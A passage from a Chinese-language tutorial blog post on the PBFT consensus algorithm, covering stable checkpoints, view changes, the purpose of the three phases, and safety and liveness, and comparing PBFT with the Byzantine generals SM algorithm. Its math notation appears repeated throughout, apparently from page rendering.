    这一小节里我们并没有讨论「特殊情况」下的解决方法(所以小节的名字才叫「正常情况下的完整流程」)。那么要解决刚才的疑问中的特殊情况(包括其它特殊情况,比如主结点是恶意的),需要靠后面的小节介绍的域转换才行。
    检查点( checkpoints )在介绍域转换之前,我们首先要介绍一下 checkpoint 的概念。一般情况下,每个结点需要保存所有的历史数据和状态机的每个历史状态,以便在需要的时候可以复查。但随着系统运行的时间越来越长,数据就会越来越多,最终肯定有存不下的情况。所以我们需要一种机制,可以放心的丢弃以前的历史数据,又不致于影响系统的运行和结点间的信任。
    原始论文中给出的解决方法就是检查点(checkpoints)机制。所谓「检查点」,其实就是某一时刻结点状态机的状态。系统中的每个结点都会按相同的时期间隔(比如每隔 100 个请求序号)将状态机的状态创建为检查点。
    如果某结点自顾自的创建的一个检查点,那么这个检查点是没有可信度的,只有它自己才相信这个检查点的正确性。因此如果一个结点想要创建一个别人都信服的检查点,除了创建检查点本身,还要创建这个检查点的「证明」,这个证明说明了大多数结点都认可了这个检查点。一个有证明的检查点,被称为「稳定检查点」(stable checkpoint)。只有稳定检查点之前的历史数据,才是可以放心删除的。
    那么如何创建稳定检查点呢?假设一个结点 iii 最新处理的请求序号为 nnn,此时状态机的状态的哈希值为 ddd。它想在此时创建一个稳定的检查点,那么它将创建并广播消息 <CHECKPOINT,n,d,i>σi <CHECKPOINT,n,d,i>_{\sigma i} <CHECKPOINT,n,d,i>​σi​​ 。同时它将收集其它结点广播的 CHECKPOINTCHECKPOINTCHECKPOINT 消息,如果它收到 2f 条不同结点广播出来的、序号为 nnn、状态哈希为 ddd 的 CHECKPOINTCHECKPOINTCHECKPOINT 消息,那么它就创建了一个稳定检查点,这 2f+1 条消息(包含自己的消息)就是这个稳定检查点的证明。
    前面我们也提到了一个区间 [h, H] ,这个区间主要是为了防止恶意主结点滥用序号值。但我们没提过如何设置 h 和 H 的值。有了稳定检查点,这两个值就好设置了。论文中提出可以将 h 设置为当前最新的稳定检查点的序号值,而 H 设置一个相对较大的值,保证正常情况下在创建下一个稳定检查点时,其序号值也不会超过 H。比如,如果系统正常情况下每隔 100 个请求序号就创建一个检查点,那么 H 可以设置为 200。
    了解了检查点的概念,下面我们再来看看域转换时会发生什么。
    域转换(View Changes)前面我们提到过,所谓「域」,就是某个结点作为主结点的整个过程(就像中国古代「朝代」的概念)。每个域都有一个编号。每当主结点发生一次变换,域编号就递增加 1,这个过程也就是所谓的「域转换」。可以看到,其实域转换主要是主结点的变换。
    为什么要设计「域」这个概念呢?这主要是为了保持整个系统的「活性」(liveness)。前面我们说过, PBFT 的系统模型就是主结点、从结点的模式,这种模式严重依赖主结点的正确性:如果主结点是正常的,那么它会给客户端请求分配正确的序号,然后将正确的 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 消息广播给所有从结点,各结点才能最终达成一致共识;如果主结点是恶意的,它就可能给各从结点发送各不相同的 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 消息,那么从结点肯定无法达成共识。可见如果没有机制可以将这样的恶意主结点换掉,那么不管有多少个正常的从结点,这个系统依然是废的,永远无法处理任何请求。所以在设计 PBFT 更换主结点的能力时,作者定义了「域」的概念,并将更换主结点的过程定义为「域转换」。
    那么什么时候会发生域转换呢?其实任何会发生异常的地方,都有可能导致发生域转换,总结下来,主要有以下情况可能会发生异常:

    从结点发送 <PREPARE><PREPARE><PREPARE> 消息后,在一定时间内没有收到 2f 条其它结点广播的同样的 <PREPARE><PREPARE><PREPARE> 消息
    从结点发送 <COMMIT><COMMIT><COMMIT> 消息以后,在一定时间内没有收到 2f 条其它结点广播的同样的 <COMMIT><COMMIT><COMMIT> 消息
    主结点不响应客户端的请求

    上面三种情况总结起来,其实都是「超时」(第三种情况其实是主结点不响应的情况,我们会在下一小节详细讨论)。可以说任何该发生却没有发生的情况,都会引起域转换。
    下面我们来看看如何进行域转换。对于任一结点 iii,假设它当前的域编号是 vvv。如果发生了前面提到的超时情况,则结点 iii 就会发起域转换,具体步骤如下:

    结点 iii 暂时停止接收和处理消息(除了 <CHECKPOINT><CHECKPOINT><CHECKPOINT>、<VIEW−CHANGE><VIEW-CHANGE><VIEW−CHANGE>、<NEW−VIEW><NEW-VIEW><NEW−VIEW> 三种消息),并广播消息 <VIEW−CHANGE,v+1,n,C,P,i>σi <VIEW-CHANGE,v+1,n,C,P,i>_{\sigma i}<VIEW−CHANGE,v+1,n,C,P,i>​σi​​ 。其中 nnn 是结点 iii 最新的稳定检查点的请求序号;CCC 是 nnn 对应的稳定检查点的证明(2f+1 条 <CHECKPOINT><CHECKPOINT><CHECKPOINT> 消息);PPP 是一个集合,集合中的每一项为某结点 iii 中序号大于 nnn 且处于 preparedpreparedprepared 状态的请求的信息 PmP_mP​m​​。这里 PmP_mP​m​​ 其实就是 mmm 对应的 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 消息和 2f 条相匹配的 <PREPARE><PREPARE><PREPARE> 消息。
    当域编号为 v+1v+1v+1 的主结点 ppp(此时它其实还不是主结点)收到 2f 条步骤 1 中发送的 <VIEW−CHANGE><VIEW-CHANGE><VIEW−CHANGE> 消息,则它广播一条消息 <NEW−VIEW,v+1,V,O>σp <NEW-VIEW,v+1,V,O>_{\sigma p}<NEW−VIEW,v+1,V,O>​σp​​ 给所有其它结点。
    其中 VVV 是新主结点 ppp 收到的 2f+1 条(包括自己的) <VIEW−CHANGE><VIEW-CHANGE><VIEW−CHANGE> 消息的集合;OOO 是一些 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 消息的集合。集合 OOO 是这样计算出来的:

    1.主结点 ppp 计算出一个请求的序号范围。其中最小值我们记为 min−smin-smin−s,它的值为 VVV 中所有稳定检查点的请求序号的最大值;最小值我们记为 max−smax-smax−s,它的值为 VVV 中所有处于 preparedpreparedprepared 状态的请求的序号的最大值。
    2.主结点 ppp 使用新的域编号 v+1v+1v+1 为每一个序号位于 [min−s,max−s][min-s,max-s][min−s,max−s] 范围内的请求创建一个 PRE−PREPAREPRE-PREPAREPRE−PREPARE 消息,并将其加入到集合 OOO 中。创建 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 消息时,假设当前的序号为 nnn,有两种情况:

    (1).序号 nnn 对应的请求信息存在于集合 PPP 中。此时主结点 ppp 创建如下消息:<PRE−PREPARE,v+1,n,d>σp <PRE-PREPARE,v+1,n,d>_{\sigma p}<PRE−PREPARE,v+1,n,d>​σp​​。其中 ddd 是集合 VVV 中序号为 nnn 且域编号最大的 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 消息对应的请求的哈希。
    (2).序号 nnn 对应的请求信息不在 PPP 中,这表明此消息已被成功处理。此时主结点 ppp 创建如下消息:<PRE−PREPARE,v+1,n,dnull>σp <PRE-PREPARE,v+1,n,d_{null}>_{\sigma p}<PRE−PREPARE,v+1,n,d​null​​>​σp​​。其中 dnulld_{null}d​null​​ 是一个特定的、空请求的哈希。(空请求在系统内的处理方式和正常请求一样,但它的操作为「无操作」,不会改变状态机的状态)


    对于新的主结点 ppp,在它发送 NEW−VIEWNEW-VIEWNEW−VIEW 后,就正常进入 v+1v+1v+1 域。对于其它从结点,在收到 v+1v+1v+1 域的 <NEW−VIEW><NEW-VIEW><NEW−VIEW> 消息后,会首先检查这个消息的正确性。如果正确,才会正式进入域 v+1v+1v+1。然后无论是主结点还是从结点,都会像前面描述的正常流程一样,开始处理集合 OOO 中的所有 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 消息。
    从结点通过检查 <NEW−VIEW><NEW-VIEW><NEW−VIEW> 的签名、集合 VVV 和 集合 OOO 是否正确,来判断 <NEW−VIEW><NEW-VIEW><NEW−VIEW> 消息是否正确(检查集合 OOO 的方法与创建的方法一样)。
    另外,如果各结点发现自己的最新稳定检查点落后于集合 VVV 中的最新稳定检查点,那么它也会保存集合 VVV 中的最新检查点,并将其作为自己最新的检查点,丢弃旧的数据。或者如果发现自己缺少请求 mm 本身的数据(还记得请求数据和 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 不是放在一起传输的吗),它可以从别的结点那里获取到 mmm 数据。

    经过这三步以后,域转换就完成了,从这之后所有结点就进入了新的域时代了。
    主结点不响应前面我们提到了域转换发生的条件,其中一条就是主结点不响应客户端请求的情况。试想如果一个主结点是恶意的,但它不是通过给不同从结点发送不同消息来作恶,而是不响应客户端的请求、不将请求发送给其它从结点。如果没有一种机制来应对这种情况,那么从结点永远也不知道客户端曾经发送过请求,也就永远不会发起域转换,这个系统也就永远瘫痪了。
    处理这种情况需要客户端的配合。如果客户端发现自己发出的请求没有或很少有结点返回数据,那么客户端可以认为主结点不响应。这时客户端就会将请求广播给所有从结点。每个从结点从客户端那直接收到 <REQUEST><REQUEST><REQUEST> 请求后,并不会马上处理,而是将请求转发给主结点,并等待与这个请求对应的、主结点发送的 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 消息。如果在一定时间内没有收到主结点的 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 消息,那么从结点就认为主结点没有响应,从而发送 <VIEW−CHANGE><VIEW-CHANGE><VIEW−CHANGE> 消息,提议进行域转换;如果有足够多(2f+1)个结点提议进行域转换,就会真正进入域转换,从而将不响应的主结点换掉。
    (原论文中并没有讨论在主结点不响应时、进入域转换流程后,客户端当初广播给所有结点的请求是如何被处理的。依算法的情况来看,这个请求应该是被忽略了。客户端在发现仍然没有结点返回请求后,需要再次广播请求,直到结点们域转换完成,且换到了一个正常的结点当主结点)。
    关键问题分析前面我们详细的说明了 PBFT 算法的流程,但也只是说明了流程,很少提到为什么要这样做。这一小节里,我们就针对一些关键问题,聊一聊「为什么」。
    三阶段的作用其实 PBFT 的整个流程还是非常容易理解的(我个人认为比「拜占庭将军问题」论文里给出的方法好理解多了),但我看完这个算法的第一个反应是:为什么要分三个阶段呢?一个阶段不行吗?两个阶段不行吗?
    其实我们在之前的小节「如果我来发明这个算法」里已经提到过三阶段的原因了,但这里我们要说得更正式一些。
    首先再次提一下我自己的认识。pre-prepare 阶段,是主结点分发请求给所有从结点的阶段,这个过程必不可少,也很好理解。prepare 阶段,是各从结点「商量」达成一致的阶段,大家把自己的收到的消息公布出来,看看自己是不是属于「大多数」,如果是,理论上讲其实就可以放心的响应请求啦。commit 阶段,是确定别人的 prepare 阶段是否成功的阶段,这样就可以避免自己通过了 prepare 阶段响应了请求,而别人并没有通过 prepare 阶段、也就没有响应请求,从而造成了状态不一致的状况。
    这是我对三阶段中每阶段的作用的理解。若以原论文的描述为准,我感觉这些理解都不是很「正式」(但我自己觉得也没有错)下面我们看看原论文中的说法。
    其实仔细琢磨一下 PBFT,就会发现只要正常结点间执行请求的顺序是一致的,它们的状态就能保持一致。因此保持请求的执行顺序的一致性就很重要。而保持一致性的关键,是序号不会被重复使用,即如果某些正常结点认为请求 mmm 的序号是 nnn,那么其它正常结点就必须不能认为另一个请求 m′m^{\prime}m​′​​ 的序号是 nnn。pre-prepare 和 prepare 阶段的作用,就是在同一域内保证了这一点。比如说,在域 vvv 中,某一个或多个正常结点使用序号 nnn 来执行请求 mmm,即 prepared(m,v,n,i)prepared(m,v,n,i)prepared(m,v,n,i) 为 truetruetrue;那么可以确定,其它的正常结点一定不会使用序号 nnn 来执行另一个不同的请求 m′m^{\prime}m​′​​。
    为什么可以这么肯定呢?为了证明,我们先假设这种情况会发生,即存在一些正常结点 jjj 使用序号 nnn 执行另一个不同的请求 m′m^{\prime}m​′​​,即 prepared(m′,v,n,j)prepared(m^{\prime},v,n,j)prepared(m​′​​,v,n,j) 为 truetruetrue。根据我们前面了解的 PBFT 三阶段的算法,preparedpreparedprepared 为 truetruetrue 代表有 2f+1 个结点对某一消息的序号进行了相同的确认。这就是说,prepared(m,v,n,i)prepared(m,v,n,i)prepared(m,v,n,i) 为 truetruetrue 代表有 2f+1 个结点确认了 mmm 的序号是 nnn;prepared(m′,v,n,j)prepared(m^{\prime},v,n,j)prepared(m​′​​,v,n,j) 为 truetruetrue 代表有 2f+1 个结点确认了 m′m^{\prime}m​′​​ 的序号是 nnn。而结点的总数量为 3f+1,那么必定有 f+1 个结点对这两种情况都进行了确认。恶意结点最多有 f 个,那么对两种情况都进行了确认的 f+1 个结点中,至少有 1 个是正常结点,而这是不可能的。所以假设不成立,肯定不会存在其它正常结点使用序号 nnn 执行另一个不同的请求 m′m^{\prime}m​′​​ 的情况。
    但是正如我们所说,pre-prepare 和 prepare 仅能保证在同一域内请求顺序的共识。并不能保证跨域的情况下所有结点对请求的顺序仍能达成共识。假如某结点 iii 的 preparedpreparedprepared 函数为 truetruetrue 后立即执行了请求(即没有 commit 阶段),但其它结点的 preparedpreparedprepared 函数并不是 truetruetrue,因而它们发起了域转换,那么结果是虽然结点 iii 也被迫转到了新的域,但只有它使用序号 nnn 执行了请求 mmm ;对于新主结点来说,序号 nnn 可能还是未被分配的,所以当有新的请求时,新主结点就可能会将序号 nnn 分配给新的请求,结果就是仍然出现了我们刚才讨论的问题,即结点 iii 使用序号 nnn 执行了请求 mmm,但其它结点却使用序号 nnn 执行了新的请求 m′m^{\prime}m​′​​。
    这里你可能会说,域转换时会将 preparedpreparedprepared 为 truetruetrue 的请求 mmm 及序号 nnn 放到 <VIEW−CHANGE><VIEW-CHANGE><VIEW−CHANGE> 中啊,这样根据前面讲的域转换的流程,新的主结点就会将这个消息的 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 消息再广播一遍,从而使这个请求再次正常执行一遍整个流程,序号 nnn 也不会被复用了。但这里执行了请求 mmm 的结点 iii 并没有发送 <VIEW−CHANGE><VIEW-CHANGE><VIEW−CHANGE> 消息,它是被迫进行域转换的,而其它主动提议域转换的结点的 mmm 的 preparedpreparedprepared 函数并不为 truetruetrue,因此 <VIEW−CHANGE><VIEW-CHANGE><VIEW−CHANGE> 消息中并不会包含请求 mmm 及序号 nnn 等信息。
    所以为了避免上面说的情况,需要加上 commit 阶段。commit 阶段和域转换算法一起,保证了达到了 committed−localcommitted-localcommitted−local 条件的请求,即使在发生域转换以后,在新的域里各结点依然能对消息的顺序达成共识。还是考虑刚才的情况,在结点 iii 内,committed−local(m,v,n,i)committed-local(m,v,n,i)committed−local(m,v,n,i) 为 truetruetrue ,然后结点 iii 执行了这个请求。但此时其它结点 committed−localcommitted-localcommitted−local 并不是 truetruetrue(因而肯定还没有执行这个请求),而是超时发起了域转换。只要发起域转换的结点中至少有一个结点的 prepared(m,v,n,i)prepared(m,v,n,i)prepared(m,v,n,i) 为 truetruetrue,那么 <NEW−VIEW><NEW-VIEW><NEW−VIEW> 中肯定包含了消息 mmm 和序号 nnn 的 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 消息,因而在新的域里面会再次使用序号 nnn 执行一遍关于请求 mmm 的正常流程,此时除了刚才结点 iii 之外的结点就会仍然使用序号 nnn 执行请求 mmm,从而达到与结点 iii 一致的状态(虽然不在一个域中)。
    我们如何能确定发起域转换的结点中至少有一个结点 prepared(m,v,n,i)prepared(m,v,n,i)prepared(m,v,n,i) 为 truetruetrue 呢?一方面,结点 iii 的 committed−local(m,v,n,i)committed-local(m,v,n,i)committed−local(m,v,n,i) 已经是 truetruetrue,也就是说它肯定收到了至少 2f 条其它结点的 <COMMIT><COMMIT><COMMIT> 消息,这也说明至少有 2f 个结点的 preparedpreparedprepared 为 truetruetrue。另一方面,如果域转换想要成功,必定至少有 2f 个结点主动发送 <VIEW−CHANGE><VIEW-CHANGE><VIEW−CHANGE> 消息。总结点数量为 3f+1,所以 2f 个 preparedpreparedprepared 为 truetruetrue 的结点和 2f 个发送 <VIEW−CHANGE><VIEW-CHANGE><VIEW−CHANGE> 消息的结点中,必须有重合的。也就是说,肯定有结点它的 preparedpreparedprepared 为 truetruetrue 并且发送了 <VIEW−CHANGE><VIEW-CHANGE><VIEW−CHANGE> 消息。
    以上就是三阶段的作用的分析。总得来说,pre-prepare 和 prepare 阶段保证了在同一域内请求的执行顺序;commit 阶段和域转换规则保证了在不同域内,请求的执行顺序仍然是不变的。
    相信经过上面一段详细的说明,读者对三个阶段的作用会有更加深刻的认识。
    安全性(Safety)和活性(Liveness)之前我们在讨论 PBFT 的各个方面时,其实已经涉及到安全性和活性的问题,但没有特意指出这俩特性。在这一小节里,我们再将安全性和活性相关的问题讨论一遍。
    我们先说安全性。安全性是指系统内所有正常结点可以达成「正确的一致性」,而不会受内部恶意结点的干扰。「正确的一致性」是我自己发明的,这里不仅指达成一致的决定,而且这个决定需要是客户端的原始请求。比如客户端请求计算 10 的平方,那么各正常结点必须计算 10 的平方,而不是每个结点收到多个数值(如 10, 20, 30, …)然后计算这些数值的平均值(或中位数)的平方(拜占庭将军问题中的 SMSMSM 算法就可能会再现这种情况)。对于后一种情况,虽然每个结点最终参加计算的值和结果都是一致的,但并不是原来客户端的请求。
    由于 PBFT 系统中的所有消息都有签名,我们不用担心客户端的请求被篡改。所以只要每个正常的结点能拿到客户端的请求并只执行原始的请求,就不必担心刚才提到的后一种情况。需要重点关注的仍是如何达成一致。可以确定,只要所有正常的结点始终以同样的顺序处理请求,那么这些正常结点的状态始终是一致的,也就是达成一致了。因而总得来说,就可以保证安全性。那算法是如何保证所有正常结点以相同的顺序处理请求呢?正是前面我们刚才讨论的三阶段和域转换的作用:pre-prepare 和 prepare 可以保证在同一域内请求的执行顺序达成一致;commit 阶段和域转换规则可以保证在不同域内这一执行顺序也不会发生改变。详细信息上一小节已作了详细的说明,这里不再重复了。因此可以说,签名机制和整个 PBFT 的算法设计提供了安全性。
    不过论文中也提到一点,就是这里的安全性仅仅是指系统内部的安全性,它只能使系统内的恶意结点无法干扰正常的工作,但并不能阻止外部如客户端作恶(比如向整个系统写入垃圾数据)。
    我们再来说说活性。前面说过,所谓活性就是整个系统持续处理请求的能力。如果主结点是一个恶意结点,而没有机制可以更换这个主结点,那么这个系统就没有活性。前面我们介绍过,域转换其实就是更改主结点,因此可以说,PBFT 中的活性主要是由域转换机制保证的。具体的域转换规则前面已经详细介绍过,这里不再重复。但这里我们要说一下保证活性的三个细节。
    第一个细节,就是要避免频繁地进行域转换。这主要是通过线性增加超时时间来完成的。比如一个结点在开始处理一个请求时,它设置一个时长为 T1T_1T​1​​ 的计时器,如果计时器超时仍没有完成这个请求的 commit 阶段,那么除了发起域转换,它还会把 T1T_1T​1​​ 设置得更大一些(比如 2T12T_12T​1​​),以保证下次可以容忍更久的请求处理时间(当然也需要在请求处理得比较快的时候减小 T1T_1T​1​​,或设置 T1T_1T​1​​ 的最大值,防止超时时间无限增大);再比如一个结点为了更新到域 v+1v+1v+1 而发送 <VIEW−CHANGE><VIEW-CHANGE><VIEW−CHANGE> 消息后,设置一个时长为 T2T_2T​2​​ 的计时器,如果计时器超时仍没有收到 <NEW−VIEW><NEW-VIEW><NEW−VIEW> 消息,那么这个结点可以再次为更新到域 v+2v+2v+2 而发送 <VIEW−CHANGE><VIEW-CHANGE><VIEW−CHANGE> 消息,并这次计时器的时间间隔会设置得更大,比如 2T22T_22T​2​​。
    第二个细节,如果一个结点累计收到了超过(包含) f+1 条域编号比结点自己当前域编号大的 <VIEW−CHANGE><VIEW-CHANGE><VIEW−CHANGE> 消息,那么该结点需要立即使用这些消息中的域编号最小的编号,重新发送一遍 <VIEW−CHANGE><VIEW-CHANGE><VIEW−CHANGE> 消息。这样有助于及时的进入到新的域中。(原因如下:假设某结点 iii 收到了 f+1f+1f+1 个其它结点的 <VIEW−CHANGE><VIEW-CHANGE><VIEW−CHANGE> 消息,说明至少有一个正常结点发现了异常并发起了域转换。但若结点 iii 非常等待自己发现异常(比如共识三阶段的超时)才去发起域转换,会多浪费一些时间。反正已经可以确认有正常结点发现异常了,不如直接跟随马上发起域转换。)
    第三个细节是自然而然的,即除了恶意的主结点,其它恶意结点无法强制频繁地进行域转换。因为域转换算法规定需要有 2f+1 个结点发送 <VIEW−CHANGE><VIEW-CHANGE><VIEW−CHANGE> 消息才可能进行域转换,而系统中最多有 f 个恶意结点,显然达不到域转换成功的要求(事实上,只要发送 <VIEW−CHANGE><VIEW-CHANGE><VIEW−CHANGE> 消息的结点数量小于(不包含) f+1 ,就肯定不会进行域转换;但超过或等于 f+1 个结点发送 <VIEW−CHANGE><VIEW-CHANGE><VIEW−CHANGE> 消息,就肯定会进行域转换。因为这 f+1 个结点中,必定至少有一个正常结点,而一个正常结点一旦发送了 <VIEW−CHANGE><VIEW-CHANGE><VIEW−CHANGE> 消息,就不会处理其它消息。这会导致其它正常处理请求的结点因无法收到 2f 条 <PREPARE><PREPARE><PREPARE> 或 <COMMIT><COMMIT><COMMIT> 消息而超时,从而也发起域转换)。虽然恶意主结点可以通过不响应或发送错误消息强制发起域转换,但因为最多只有 f 个恶意结点,所以最多连续强迫系统发生 f 次域转换,这是可以接受的。
    PBFT 与 $$SM$$ 算法的比较这一小节里我们将 PBFT 与拜占庭将军问题的文章中的 SMSMSM 算法放在一起,进行一下比较,从而可以更加深刻的理解这两种算法。
    其实 PBFT 与 SMSMSM 有一定的相似性,但 PBFT 更进一步,考虑和解决了很多现实的问题,所以才可以应用于实际环境中。下面我们先聊聊它们之间的共同点,再看看 PBFT 比 SMSMSM 「更进一步」在哪些地方。
    共同点相比起不同点,PBFT 与 SMSMSM 的共同点较少,我认为主要在两个方面:一是系统模型相同,都是主从结构;二是从结点拿到主结点消息后,都会进行「沟通」与汇总。
    首先在SMSMSM 算法中,有一个司令官,其它人都是副官,接受并执行司令官的命令;而 PBFT 算法中,也分主结点和从结点,从结点也接受主结点的消息并执行。这一点上,它们是一样的。
    其次在两种算法中,所有副官(从结点)收到司令官(主结点)的消息后,都不会着急着去立刻执行,而是将自己收到的消息广播给其它结点,并接收其它结点广播的消息。这就像一个沟通的过程:我告诉别人我收到了什么消息,别人也告诉我他收到了什么消息。最终每个结点会在这些消息的基础上汇总一个结果。这一过程在 PBFT 中并不那么明显,但 prepare 阶段本质上也是这么一个过程。
    我觉得在相同点上,两种算法主要就是这两方面的相同,这两方面也都是基础。下面我们来看看在这两个基础之上的不同,这些不同点也是让 PBFT 的应用性强于 SMSMSM 的地方。
    不同点由于 PBFT 与 SMSMSM 的不同点稍多且需要较多的说明,因此我们分小节来看这些不同点。
    「一致性」与「正确的一致性」在 SMSMSM 算法中只要求一致性,即只要最终所有副官能达成一致的结果就可以了,至于这个结果是什么并不关心。比如如果司令官是叛徒,他给有的副官发送「进攻」、给有的副官发送「撤退」,只要最终忠诚的副官们行动一致,就算是正确的,不管是「一致进攻」还是「一致撤退」。
    但这在 PBFT 中是不行的。在 PBFT 中,客户端请求什么,所有结点就计算什么。如果从结点们发现彼此请求的数据不一致,它们就拒绝执行,而不是像 SMSMSM 那样取一个中间状态去执行。这就是通过对 <PRE−PREPARE><PRE-PREPARE><PRE−PREPARE> 消息的检验和必须收到 2f 条 <PREPARE><PREPARE><PREPARE> 消息这两方面来保证的。
    外部可识别正确结果在 SMSMSM 中,最终所有副官的行动肯定是一致的。但作为一个外部成员,却无法知道哪些人的行动是可信的。比如存在 5 个将军,其中只有 2 个是忠诚的,3 个是叛徒。并且司令官是忠诚的。因此在发送命令时,忠诚的司令官给每个人发送了「进攻」的命令。根据 SMSMSM 算法,另一个忠诚的副官肯定也会执行「进攻」。但另外 3 个叛徒的行为就不一定了,他们可能都执行的是「撤退」。那么在一个外人看来,你该相信哪个行动是正确的呢?
    PBFT 中的客户端其实就相当于这样一个「外人」。但与 SMSMSM 不同的是,在 PBFT 中客户端是能够知道哪些结果是正确的。这是它们之间很大的不同。
    那么 PBFT 是如何做到这一点的呢?其实主要是结点数量的差别。
    仔细研究 SMSMSM 算法就会发现,虽然 f+2 个结点也可以让正常结点(哪怕只有 2 个)达成一致,但外部(比如客户端)并不知道哪个结点的结果是正确的,正如刚才的例子显示的,如果 f>=2 且 f 个结点的结果是一致的(但是错误的),那么外部(比如客户端)是无法确定应该相信哪个结果的。比如若客户端根据「数量最多的结果就是正确的」的原则,那么它就会采用 f 个恶意结点返回的结果。这显然是不对的。因此在 PBFT 中,除了要求正确的结点达成一致外,还要有数量上的优势,让客户端知道应该采用谁的结果。所以 PBFT 要求 3f+1 个结点。由于只有 f 个恶意结点,那么客户端只要收到 f+1 个相同的结果,就可以认为这是正常的结果。
    既然只要有数量上的优势就可以,为什么 2f+1 个结点不行呢?根据 PBFT 论文中的描述,PBFT 可以用于存在恶意结点的情况,那么除了有 f 个恶意结点,还可能有 f 个正确结点「临时出点状况」,比如网络偶尔故障,因此 3f+1 个结点可以最大程序的确保整个系统正常运行。
    (事实上我对论文中这个解释是有点疑问的。客户端只要 f+1 个结点返回一样的结果,就可以认为这个结果就是正确的结果。但在系统内部处理请求的时候,每个结点仍然需要等待 2f 条 <PREPARE><PREPARE><PREPARE> 和 <COMMIT><COMMIT><COMMIT>,因此只要有 1 个正常结点「临时出点状况」,出状况其间请求是无法处理的。所以这难道不是要求所有正常结点都不能出状况吗?)
    那么 4f+1 个结点行不行呢?也不是不可以,只是这么多结点拖慢整个系统处理请求的速度,却没带来其它额外好处。
    活性是否考虑了活性,是 SMSMSM 与 PBFT 非常明显也是非常重要的区别。PBFT 考虑到了活性问题,所以它是「实用的」;而 SMSMSM 根据没有考虑更换司令官的问题,因而也就无法在实际应用中使用。
    总结PBFT 是一个比较重要的共识算法,是许多其它共识算法的基础。在这篇文章里,我们详细介绍了 PBFT 的相关知识,包括主从模式,pre-prepare / prepare / commit 三阶段及其作用,域和域转换等。pre-prepare 和 prepare 阶段让所有正常结点对请求的处理顺序达成一致;而 commit 和域转换规则保证了在发生域转换时,也能保持这个处理顺序。
    0 留言 2020-09-09 11:27:04 奖励30点积分
显示 0 到 15 ,共 15 条
eject